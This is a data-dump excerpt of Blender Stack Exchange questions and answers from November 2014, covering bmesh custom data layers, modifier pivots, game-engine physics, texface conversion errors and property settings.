  <row Id="18661" PostTypeId="1" AcceptedAnswerId="18672" CreationDate="2014-11-08T21:52:29.470" Score="1" ViewCount="658" Body="&lt;p&gt;I want to write an addon that can combine two selections with a logical AND.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the user use via normal gui&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.mesh.select_similar(type='LENGTH')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.mesh.select_similar(type='DIR').&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then he calls the addon, the addon gets the current selection, the selection made before, combine them and write the selection back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is I don't know how I can access these history data via python nor if it's possible. This would be my favorite way of workflow for the addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can extend the addon with a call to store the actual selection, so the user make a similar select, call the addon to store the current selection, make another similar select and call the addon to combine the both selections and write it back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this way I need to store a customized boolean at the bmesh faces/edges/vertices data, but I can't figure it out how. If I try to store custom data I run in these error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;bm.faces[0]['and_select'] = False&lt;br&gt;&#xA;  Traceback (most recent call last):&lt;br&gt;&#xA;    File &quot;&quot;, line 1, in &lt;br&gt;&#xA;  AttributeError: BMElem[key]: invalid key, must be a BMLayerItem&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;An example how this must be done would help.&lt;/p&gt;&#xA;" OwnerUserId="7899" LastEditorUserId="1363" LastEditDate="2014-11-09T15:45:43.250" LastActivityDate="2014-11-09T15:45:43.250" Title="Python: Access mesh selection history data" Tags="&lt;python&gt;&lt;bmesh&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18663" PostTypeId="1" CreationDate="2014-11-09T00:42:46.917" Score="0" ViewCount="163" Body="&lt;p&gt;I'm trying to use Cell Fracture addon to 'break' simple building model but it causes additional geometry which makes model very ugly.&#xA;Original model:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/18JpD.png&quot; alt=&quot;Original model&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After Cell Fracture:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/w5hVz.png&quot; alt=&quot;After Cell Fracture&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand it is something wrong with my model because other models I tried works well. But what exactly wrong with it? I applyed location, rotation and scale but it not helps at all. I also tried to triangulate the model (previously it helped me to resolve UV unwrapping issues) but it also not helps. The .blend file is uploaded &lt;a href=&quot;https://yadi.sk/d/2dGnOiqfcakCy&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&#xA;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2349" LastActivityDate="2014-11-09T00:42:46.917" Title="Cell fracture causing additional non desirable geometry. How to fix?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;add-on&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18666" PostTypeId="2" ParentId="18654" CreationDate="2014-11-09T04:27:12.467" Score="4" Body="&lt;p&gt;All of the vertical lines are sloping towards a vanishing point because you are looking up at the building. It's called 3-point perspective. It's natural, so it's not out of place or wrong. But since you have everything above the horizon line, 3-point perspective will be pretty obvious. If you don't like it, try making the camera face the building dead on without any up or down tilt; that would make it more 2-point perspective.&lt;/p&gt;&#xA;" OwnerUserId="6271" LastEditorUserId="3401" LastEditDate="2014-11-09T20:00:23.610" LastActivityDate="2014-11-09T20:00:23.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18669" PostTypeId="2" ParentId="15355" CreationDate="2014-11-09T08:50:45.930" Score="11" Body="&lt;h2&gt;Blueprints&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://carblueprints.info/eng/marks/&quot; rel=&quot;noreferrer&quot;&gt;Car blueprints&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.the-blueprints.com/&quot; rel=&quot;noreferrer&quot;&gt;The blueprints&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://drawingdatabase.com/&quot; rel=&quot;noreferrer&quot;&gt;Blueprints Database&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2018-01-16T04:52:53.477" CommentCount="0" CommunityOwnedDate="2014-11-09T08:50:45.930" ContentLicense="CC BY-SA 3.0" />
  <row Id="18670" PostTypeId="2" ParentId="18425" CreationDate="2014-11-09T10:45:14.477" Score="2" Body="&lt;p&gt;In the VSE preview window that the cube appears in press &lt;kbd&gt;N&lt;/kbd&gt; for Properties and deselect the OpenGL Render. You should see the compositor output. If not, go back to the VSE window and press the Refresh Sequencer Button.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastEditorUserId="2843" LastEditDate="2016-01-12T14:19:49.953" LastActivityDate="2016-01-12T14:19:49.953" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18671" PostTypeId="2" ParentId="6023" CreationDate="2014-11-09T13:15:27.793" Score="36" Body="&lt;p&gt;Just want to complement with several tricks that I just figured out. They all share with the same idea - to offset the rotation pivot of the &lt;em&gt;Offset Object&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Variant 1&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using 3D Cursor as pivot. (PROS: Fast and straight forward. CONS: Not suitable for animation)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, use an empty object in &lt;em&gt;Object Offset&lt;/em&gt; section in the &lt;strong&gt;Array&lt;/strong&gt; modifier setting, then, all you have to do is to rotate the empty object,  instead of the arrayed object itself:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Kkxte.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Kkxte.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C6oV4.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Variant 2&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using another object as rotate center.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this variant uses two empties; one at the cube center (just like Variant 1) and one for the pivot point (replacing the 3D Cursor in Variant 1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do the actual rotation after setting the &lt;em&gt;Active Element&lt;/em&gt; as Pivot Point, first &lt;kbd&gt;Right-Click&lt;/kbd&gt; the empty at the cube center to select it, then &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Right-Click&lt;/kbd&gt; the pivot center empty to select that as well, then &lt;kbd&gt;R&lt;/kbd&gt; to rotate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PbAjX.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Variant 3&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parenting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UKZNk.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Variant 4&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;em&gt;Pivot&lt;/em&gt; constraint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2HKxO.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Variant 5&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;em&gt;Hook&lt;/em&gt; modifier and &lt;em&gt;Copy Location&lt;/em&gt; constraint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qVhS1.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="19307" LastEditDate="2018-05-17T15:50:29.167" LastActivityDate="2018-05-17T15:50:29.167" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="18672" PostTypeId="2" ParentId="18661" CreationDate="2014-11-09T13:22:50.580" Score="2" Body="&lt;p&gt;Don't use the string key. Instead use &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_72_1/bmesh.html#customdata-access&quot; rel=&quot;nofollow&quot;&gt;a direct reference for the layer&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;layer = bm.faces.layers.int.new('layer_name')&#xA;bm.faces[0][layer] = 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_72_1/bmesh.types.html#bmesh.types.BMLayerAccessFace&quot; rel=&quot;nofollow&quot;&gt;no boolean layer available&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_72_1/bmesh.types.html#bmesh.types.BMEditSelSeq&quot; rel=&quot;nofollow&quot;&gt;selection history&lt;/a&gt; works only for single verts/edges/faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_72_1/bmesh.ops.html#bmesh.ops.similar_faces&quot; rel=&quot;nofollow&quot;&gt;bmesh operators&lt;/a&gt; &lt;code&gt;similar_faces&lt;/code&gt;, &lt;code&gt;similar_edges&lt;/code&gt;, &lt;code&gt;similar_verts&lt;/code&gt; which will return the selection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Links to the source: &lt;a href=&quot;http://git.blender.org/gitweb/gitweb.cgi/blender.git/blob/HEAD:/source/blender/bmesh/operators/bmo_similar.c&quot; rel=&quot;nofollow&quot;&gt;bmo_similar.c&lt;/a&gt;, &lt;a href=&quot;http://git.blender.org/gitweb/gitweb.cgi/blender.git/blob/HEAD:/source/blender/bmesh/intern/bmesh_operators.h&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bmesh_operators.h&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2014-11-09T13:57:32.063" LastActivityDate="2014-11-09T13:57:32.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18673" PostTypeId="2" ParentId="18536" CreationDate="2014-11-09T13:28:59.120" Score="4" Body="&lt;p&gt;You can also try changing the selection mode under User Preferences.  There are &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.72/UI#Occlusion_Query_Based_Selection&quot; rel=&quot;nofollow noreferrer&quot;&gt;two options&lt;/a&gt; available now for selection.  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;OpenGL Select&lt;/li&gt;&#xA;&lt;li&gt;OpenGL Occlusion Queries&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;OpenGL Occlusion Queries is the newer, and faster method which seems to work better on AMD Radeon GPUS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lItSH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use &lt;kbd&gt;shift&lt;/kbd&gt;+&lt;kbd&gt;b&lt;/kbd&gt; to draw-out a rectangular selection that will cause the view to zoom in on the selected location.   Picking objects tends to work better when you are zoomed in closer.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;shift&lt;/kbd&gt;+&lt;kbd&gt;c&lt;/kbd&gt; will zoom out out to fit the scene.  Using these two shortcuts, you can quickly navigate to whatever object you would like to select and work on.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-11-11T16:17:57.530" LastActivityDate="2014-11-11T16:17:57.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18674" PostTypeId="2" ParentId="18536" CreationDate="2014-11-09T16:34:19.550" Score="0" Body="&lt;p&gt;One way (in Edit Mode) is to place your cursor over the mesh you wish to select and press L.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would refer you to this link as well:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/17728/selecting-how-to-differentiate-elements&quot;&gt;Selecting - how to differentiate &amp;quot;elements&amp;quot;?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="739" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2014-11-11T01:32:13.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18675" PostTypeId="1" CreationDate="2014-11-09T16:36:43.270" Score="0" ViewCount="624" Body="&lt;p&gt;when i convert my particles into a mesh (in this case grass) i don't get colors, even though the initial particles had materials and textures... even if i add them onto the new mesh nothing happens!! This is not because of the light because i've tried to play with it :P&#xA;This is what exactly happens: &lt;a href=&quot;http://www37.zippyshare.com/v/93332560/file.html&quot; rel=&quot;nofollow&quot;&gt;http://www37.zippyshare.com/v/93332560/file.html&lt;/a&gt;&#xA;And also if i export the black grass nothing gets shown in Unreal Engine (exported as fbx and obj)&#xA;Any help?&lt;/p&gt;&#xA;" OwnerUserId="7910" LastActivityDate="2015-06-28T18:20:42.330" Title="Particles converted but no colors!" Tags="&lt;rendering&gt;&lt;export&gt;&lt;particles&gt;&lt;color-management&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18676" PostTypeId="1" CreationDate="2014-11-09T16:38:18.273" Score="1" ViewCount="2238" Body="&lt;p&gt;I have more than 30 bones animated and each of them needs the &quot;cycles&quot; f-curve-modifier to continue animating up until frame 100.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to change all these modifiers simultaneously, or do I need to go trough each modifier separately in order to change their end frames?&lt;/p&gt;&#xA;" OwnerUserId="1037" LastEditorUserId="18105" LastEditDate="2015-09-17T15:15:18.220" LastActivityDate="2015-09-17T15:15:18.220" Title="How to manage multiple f-curve modifiers" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18678" PostTypeId="1" AcceptedAnswerId="18690" CreationDate="2014-11-09T18:31:45.733" Score="1" ViewCount="910" Body="&lt;p&gt;BGE: Can a rigged rigid body interact with BGE physics?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I want to know if it is possible to have a mesh that is animated by an armature interact with the BGE physics, including other rigidbodies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/32723&quot; rel=&quot;nofollow&quot;&gt;Question blend file.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7720" LastEditorUserId="6204" LastEditDate="2014-11-10T03:33:22.590" LastActivityDate="2020-01-15T19:32:00.320" Title="BGE: Can a rigged rigid body interact with BGE physics?" Tags="&lt;game-engine&gt;&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18681" PostTypeId="1" CreationDate="2014-11-09T21:17:18.507" Score="0" ViewCount="127" Body="&lt;p&gt;I haven't used Blender before but as far as I know it's used for 3D modelling and animation. I'm currently working on a project that would create a hologram alike image/animation in real time using spinning RGB LED ball. I expect to have full coverage of a sphere (ball) with radius of 5cm. Total of 20 RGB LEDs will be used (possibly 28 depending on final design). There will be 2 strips of 10(14) LEDs placed diagonally (with 90 degrees angle between the strips). Hence, I'll need to have data for position, colour and time of the animation/image that I want to display. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, if I create an animation/image in Blender, would I be able to convert that model into XYZ, RGB and time data for all points (into a text file or any other readable file type)?&#xA;If yes, how can I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks :)&lt;/p&gt;&#xA;" OwnerUserId="7913" LastActivityDate="2014-11-09T21:17:18.507" Title="Getting XYZ and RBG (+time) data of custom 3D model" Tags="&lt;modeling&gt;&lt;animation&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18683" PostTypeId="1" AcceptedAnswerId="18691" CreationDate="2014-11-09T22:24:31.387" Score="3" ViewCount="359" Body="&lt;p&gt;Whenever I open 2.49b - Yo Frankie game level files using an up-to-date 2.72 Blender build I see a message popup that says 'Texface Conversion Problem(see error in console)'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I clear this up so I can get to work on getting the rest of it working?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a screen render of the error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VtEAp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-11-09T22:56:29.517" LastActivityDate="2014-11-11T16:19:30.070" Title="How do I fix the 'Texface Conversion Problem' message when importing Yo-Frankie files into 2.72" Tags="&lt;game-engine&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18684" PostTypeId="2" ParentId="18683" CreationDate="2014-11-09T22:27:38.887" Score="4" Body="&lt;p&gt;I'm not at all sure that this actually fixes any mesh problems but it does clear up the error message that shows when the .blend is loaded again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Save the file using Blender 2.7x and then reopen it and now the Texface error message should no longer be there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a 2.49b Yo-Frankie mini-level running in 2.72's Game Engine Render mode p.  Nothing else had to be done to this level to get it rendering properly so it's actually in pretty good shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2eqkj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's really interesting ere is that the physics works without any needed repairs.  Just press p and both characters drop to the ground&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3Pehh.gif&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-11-11T16:19:30.070" LastActivityDate="2014-11-11T16:19:30.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18685" PostTypeId="1" AcceptedAnswerId="18698" CreationDate="2014-11-09T23:16:34.260" Score="1" ViewCount="234" Body="&lt;p&gt;I'm currently working on a project-specific addon where I'm dynamically loading and removing images on the fly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I've gotten away with a simple &lt;code&gt;Image.isProjectProperty&lt;/code&gt;, but I now need an (ordered) list of these dynamically loaded images. However, a &lt;code&gt;CollectionProperty&lt;/code&gt; with a type of &lt;code&gt;BlendDataImages&lt;/code&gt; seems to be out of the question, and there doesn't appear to be a &lt;code&gt;StringVectorProperty&lt;/code&gt; to store the names in either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could probably sort a temporary list, then find their &lt;code&gt;bpy.data.images[]&lt;/code&gt; indices and store those in an &lt;code&gt;IntVectorProperty&lt;/code&gt;, but that doesn't seem very safe either; what if 0-user images get removed between sessions? Is there a better way of going about this? What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="135" LastEditorUserId="1363" LastEditDate="2014-11-10T08:58:02.657" LastActivityDate="2014-11-10T09:07:50.470" Title="Best/ preferred way of storing Image references?" Tags="&lt;python&gt;&lt;properties&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18686" PostTypeId="1" AcceptedAnswerId="18706" CreationDate="2014-11-09T23:25:17.710" Score="8" ViewCount="3950" Body="&lt;p&gt;When using an &lt;code&gt;Int-&lt;/code&gt; or &lt;code&gt;FloatProperty&lt;/code&gt;, is there any way of changing their &lt;code&gt;min&lt;/code&gt; and &lt;code&gt;max&lt;/code&gt; values dynamically?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently loading images on the fly and would like to limit a &lt;code&gt;frame&lt;/code&gt; property to run from &lt;code&gt;0&lt;/code&gt; to &lt;code&gt;len(loaded_images)&lt;/code&gt; every time I call the loading operator. However, the property seems to be read-only and re-assigning gives the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.scene.project_props.bl_rna.properties['myIntProp'] = bpy.props.IntProperty(...)&#xA;TypeError: bpy_prop_collection[key] = value: invalid, expected a StructRNA type or None, not a tuple&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I understand the &lt;code&gt;bpy.props&lt;/code&gt; constructor uses an intermediary tuple, but I'm not sure how to proceed. Is there any way around this?&lt;/p&gt;&#xA;" OwnerUserId="135" LastEditorUserId="2217" LastEditDate="2014-11-11T01:44:06.777" LastActivityDate="2020-12-14T13:30:54.100" Title="Setting a Property's min and max values after creation" Tags="&lt;python&gt;&lt;properties&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18687" PostTypeId="1" AcceptedAnswerId="18688" CreationDate="2014-11-10T00:13:58.587" Score="3" ViewCount="499" Body="&lt;p&gt;I know this is possible and I have probably activated something by mistake and now I can't figure how to reverse it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use the &quot;snap during transform&quot; it only snaps to vertexes/lines/faces in other meshes than the one I'm editing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make it snap to vertices/lines/faces within the same mesh I'm editing?&lt;/p&gt;&#xA;" OwnerUserId="639" LastEditorUserId="20" LastEditDate="2014-11-10T00:46:05.553" LastActivityDate="2014-11-10T00:46:05.553" Title="Snap to own mesh" Tags="&lt;mesh&gt;&lt;editing&gt;&lt;snapping&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18688" PostTypeId="2" ParentId="18687" CreationDate="2014-11-10T00:15:47.217" Score="4" Body="&lt;p&gt;Enable &lt;em&gt;Snap onto self&lt;/em&gt; in &lt;em&gt;3D view &gt; header&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5aGjo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-11-10T00:15:47.217" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18689" PostTypeId="2" ParentId="18675" CreationDate="2014-11-10T01:52:49.297" Score="2" Body="&lt;p&gt;The problem here might be because you're converting a hair type particle into a normal mesh which creates a mesh with no faces (only vertices and edges), therefore no color or texture that you try to apply will be displayed. Instead why don't you try to model a grass strand and then use the hair particle system to randomly distribute it over the plane. &lt;/p&gt;&#xA;" OwnerUserId="7918" LastEditorUserId="3401" LastEditDate="2015-06-28T18:20:42.330" LastActivityDate="2015-06-28T18:20:42.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18690" PostTypeId="2" ParentId="18678" CreationDate="2014-11-10T05:36:01.370" Score="1" Body="&lt;p&gt;An armature rigged mesh cannot interact with other rigidbody objects, as the mesh deformation by the bones are not sent to the physics engine. (They are actually done on the GPU as of Blender 2.71&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.71/Game_Engine&quot; rel=&quot;nofollow&quot;&gt; [source]&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your only option is to parent a bunch of collision proxies to the armature and use those instead of the actual rigged mesh, &lt;a href=&quot;http://cgcookie.com/blender/lessons/1-game-engine-simple-character/&quot; rel=&quot;nofollow&quot;&gt;like this&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-11-10T05:36:01.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18691" PostTypeId="2" ParentId="18683" CreationDate="2014-11-10T05:43:26.977" Score="5" Body="&lt;p&gt;In short, the game material system between Blender 2.49 and 2.6 has changed a lot: &lt;a href=&quot;http://code.blender.org/index.php/2011/09/bge-material-texface-changes/&quot;&gt;http://code.blender.org/index.php/2011/09/bge-material-texface-changes/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This requires a automated conversion process, which sometimes fails for complex projects like Yo Frankie. You should check the console to see exactly what the problem is.&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-11-10T05:43:26.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18692" PostTypeId="2" ParentId="18646" CreationDate="2014-11-10T06:05:41.857" Score="3" Body="&lt;p&gt;Looking at the PDB file of &lt;a href=&quot;http://www.rcsb.org/pdb/files/1AD4.pdb&quot; rel=&quot;nofollow&quot;&gt;1AD4&lt;/a&gt; here, it looks like the PDB does not contain hydrogen. So you wouldn't see any Hydrogen atoms in the render. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for colouring different chains, you can import each chain by itself, and then use a surfacing algorithm (MLP or EP) to generate a surface, once you have the surface, it should be easy to apply the material yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to create something simple without fiddling with Blender as much, take a look at &lt;a href=&quot;https://www.molecularflipbook.org&quot; rel=&quot;nofollow&quot;&gt;MolecularFlipbook.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-11-10T06:05:41.857" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18693" PostTypeId="2" ParentId="18599" CreationDate="2014-11-10T06:24:11.103" Score="3" Body="&lt;p&gt;To see if it's a hardware problem, you can always create a 'Quick Effect'. If that doesn't work, then your PC hardware is having trouble rendering the smoke (but that's unlikely). If it does work, then you now have a working setup as a reference.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;To create a Quick Smoke, start with a new Blender file, then select&#xA;the default cube.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Call up the search box with &lt;kbd&gt;Spacebar&lt;/kbd&gt;and type in 'Quick Smoke'.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; to see the effect.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LYNWi.png&quot; alt=&quot;Quick effects search&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastEditorUserId="7777" LastEditDate="2014-12-11T06:36:32.213" LastActivityDate="2014-12-11T06:36:32.213" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18694" PostTypeId="2" ParentId="18643" CreationDate="2014-11-10T06:36:52.547" Score="3" Body="&lt;p&gt;The sequence editor is designed for non-linear editing. While it has some basic comp features to layer images on top of each other, you do not have the level of control that you get with the compositor. For anything but a trivial overlay, I highly suggest using the compositor for the task.&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-11-10T06:36:52.547" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18695" PostTypeId="1" CreationDate="2014-11-10T07:31:49.443" Score="0" ViewCount="364" Body="&lt;p&gt;I was trying to create train tracks using a NURBS curve and everything seems to work correctly during modeling. (I am working in Blender Game Engine with GLSL textures)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As soon as I press Play, the tracks created by NURBS path disappear. Am I missing some setting somewhere?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the &lt;strong&gt;&lt;a href=&quot;https://www.dropbox.com/s/gu0aui1z7esavjl/track.blend?dl=0&quot; rel=&quot;nofollow&quot;&gt;blend file&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="7591" LastEditorUserId="2217" LastEditDate="2014-11-11T01:41:33.173" LastActivityDate="2015-03-11T04:42:03.153" Title="Objects using Nurbs Curve disappear in game engine" Tags="&lt;game-engine&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18696" PostTypeId="2" ParentId="18695" CreationDate="2014-11-10T07:47:14.180" Score="1" Body="&lt;p&gt;I kinda figured out the problem. I had to select the Nurbs Path and then click on&lt;br&gt;&#xA;Object --&gt; Apply --&gt; Make Duplicates Real in the bottom menu of 3D view.&lt;/p&gt;&#xA;" OwnerUserId="7591" LastActivityDate="2014-11-10T07:47:14.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
